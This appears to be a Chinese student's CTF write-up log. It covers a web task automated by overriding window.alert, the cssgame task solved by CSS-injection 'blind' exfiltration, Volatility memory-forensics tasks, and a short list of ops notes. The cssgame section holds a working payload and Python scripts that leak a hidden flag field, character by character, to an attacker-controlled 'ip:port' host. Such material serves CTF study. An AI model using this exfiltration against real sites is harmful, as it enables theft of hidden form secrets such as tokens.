Web
NSSCTF: [HGAME 2023 week1]Guess Who I Am
这道题就是要根据显示的Intro提交正确的id,ctrl+u可以找到提示的成员数组。
这里考虑模拟用户输入和点击来提交id。
而经过测试发现不论正确还是错误的提交都会调用window.alert方法展示消息,故尝试覆写window.alert方法,exp:
const require = file => { // 由于前端没有定义require方法,直接粘贴members会报错,故先定义一下
return file;
}
const members = [
{
"id": "ba1van4",
"intro": "21级 / 不会Re / 不会美工 / 活在梦里 / 喜欢做不会的事情 / ◼◻粉",
"avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=kSt5er0OQMXROy28nzTia0A&s=640",
"url": "https://ba1van4.icu"
},
...
{
"id": "Eric",
"intro": "渗透 / 人工智能 / 北师大博士在读",
"avatar": require("../../images/avatar/eric.jpg"),
"url": "https://3riccc.github.io"
}
]; // 成员列表
let k = 0;
window.alert = msg => { // 覆写window.alert方法
k += 1;
if (k >= 1145) {
return null;
}
const inputer = document.querySelector(".n-input__input-el");
inputer.value = "";
inputer.dispatchEvent(new Event('input', { bubbles: true }));
inputer.dispatchEvent(new Event('change', { bubbles: true }));
inputer.focus();
inputer.setSelectionRange(inputer.value.length, inputer.value.length); // 清空input
const question = document.querySelector(".question").getAttribute("value");
for (i in members) { // 遍历members查找正确的id
if (members[i]['intro'] == question) {
inputer.value = members[i]['id'];
inputer.dispatchEvent(new Event('input', { bubbles: true }));
inputer.dispatchEvent(new Event('change', { bubbles: true }));
inputer.focus();
inputer.setSelectionRange(inputer.value.length, inputer.value.length); // 模拟输入
break;
}
}
document.querySelector(".n-button--medium-type").click(); // 模拟点击提交
}
粘贴进控制台,然后手动触发一次window.alert,等待一会flag就出来了。
BUUCTF: [安洵杯 2019]cssgame
很奇怪的题,打开题目看起来像是要填入一个CSS层叠样式表?
flag.html内容:
<html>
<link rel="stylesheet" href="${encodeURI(req.query.css)}" />
<form>
<input name="Email" type="text" value="test">
<input name="flag" type="hidden" value="?"/>
<input type="submit" value="提交">
</form>
</html>
考虑到CSS可以通过 background: url(xxx)
发起请求,猜测是要利用这种方式把 input[name=flag]
里面的数据带出来。
同时,CSS属性选择器支持通过 [attr^=value]
这样的形式来获取以特定值开头的属性(MDN),这就与SQL盲注有异曲同工之妙了。
但是显然input[type=hidden]是不能触发background发起请求的,在考虑能否获取其父节点时了解到(MDN):
备注:暂时没有能够选择 父元素、父元素的同级元素,或 父元素的同级元素的子元素 的选择器或者组合器。
继续思考,发现input[type=submit]是可以使用background的,而其紧跟在input[name=flag]后面,所以可以利用紧邻兄弟组合器 input[name=flag] + input
这样的方式来设置input[type=submit]的样式。
所以最终payload为:
input[name=flag][value^="f"] + input { background: url("http://ip:port/route"); }
这样就实现“CSS盲注”的目的了。
但是每次都需要手动注入实在是有些费时间,这里考虑搓个Python脚本,搭建一个接口来实现自动盲注:
# 用于处理收到的请求的http.py
from http.server import BaseHTTPRequestHandler, HTTPServer
import sys
class _(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Connection", "close")
if self.path == "/css.css":
text = """input[name=flag][value^="{}"] + input {{
background-image: url("http://ip:port");
}}""".format(sys.argv[1])
self.send_header("Content-Type", "text/plain")
else:
print("\nGET from {}\nPath: {}\nHeaders:\n{}".format(self.client_address[0], self.path, str(self.headers).strip()))
text = "0"
self.send_header("Content-Type", "image/jpeg")
self.send_header("Content-Length", len(text))
self.end_headers()
self.wfile.write(text.encode("utf-8"))
return
bind = ('0.0.0.0', 8080)
server = HTTPServer(bind, _)
server.serve_forever()
# 用于发送请求和盲注的css.py
import requests
import subprocess
from threading import Thread
import time
global_vars = []
def ticker(process, s):
start = time.time()
while True:
if time.time() - start >= s:
process.terminate()
break
def wait_response(arg):
cmd = ["python", "-u", "http.py", arg]
process = subprocess.Popen(cmd,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
Thread(target=ticker, args=(process, 10)).start()
while process.poll() == None:
line = process.stdout.readline().strip().decode("utf-8")
if line.strip():
print(line)
process.terminate()
global_vars.append(True)
result = ""
while True:
char = [chr(i) for i in range(33, 128)]
for i in char:
print("trying:{}".format(result + i))
http = Thread(target=wait_response, args=(result + i))
http.start()
data = {
'css': 'http://ip:port/css.css'
}
requests.post('http://9cc630d4-733d-46d1-8b48-dbe16800675b.node5.buuoj.cn:81/crawl.html', data=data)
http.join()
if global_vars == []:
continue
global_vars = []
result += i
break
if result[-1] == "}":
break
print(result)
之后等待即可。
Misc
选拔赛Forensics复现: ezforensics2
QQ会在登录后在本地创建一个用QQ号命名的目录用来存储账号相关文件,通常这个目录会位于Tencent FIles下,所以:
> python vol.py -f 1.dmp windows.filescan | grep Tencent
# 0xaee000159710.0\Users\h\Documents\Tencent Files\54297198\nt_qq\nt_db\misc.db
# ...
就找到QQ号54297198了。
13字短剧名称和看剧网站的URL可以直接用AXIOM查看Webkit浏览器网络历史记录:
所以短剧名称为:我瞎编功法你们怎么都成仙了;URL为:https://www.nhsyy.com/
Bilibili视频作者UID可以先找到视频的BV号BV1ZU4y1G7AP,然后查看作者主页,在地址栏找到11181501:
综上,flag为:nsilab{54297198_我瞎编功法你们怎么都成仙了_https://www.nhsyy.com/_11181501}
选拔赛Forensics复现: ezforensics3
提示恶意程序隐藏在软件目录下,尝试审计进程树:
> python vol.py -f 1.dmp windows.pstree
可以发现一个在ToDesk的PID=10504的奇怪程序,可以猜测这就是恶意程序:
所以程序名称:Hmohgnsyc.exe,隐藏的软件目录名称:todesk。
接下来把进程dump出来看看:
> python vol.py -o ./opt/ -f 1.dmp windows.pslist --pid 10504 --dump
所以域名为:http://www.jieba.net
最后用IDA打开这个程序文件,拉到IDA视图顶部找程序信息就有编译时间戳了,hex2dec即可:
所以编译时间戳为:1277814791
综上,flag为:nsilab{Hmohgnsyc.exe_todesk_http://www.jieba.net_1277814791}
其他
在本周学习了以下有关运维的相关知识:
- ESXi、vCenter这些虚拟化平台的安装和基本使用方式
- 利用短接触点、取BIOS电池和进iBMC的方式重置BIOS
- 使用iBMC管理服务器的软硬件和升级BIOS版本
- 使用vCenter集中管理和维护虚拟机
- 使用Ubuntu+Docker+AList搭建简单的网盘服务
…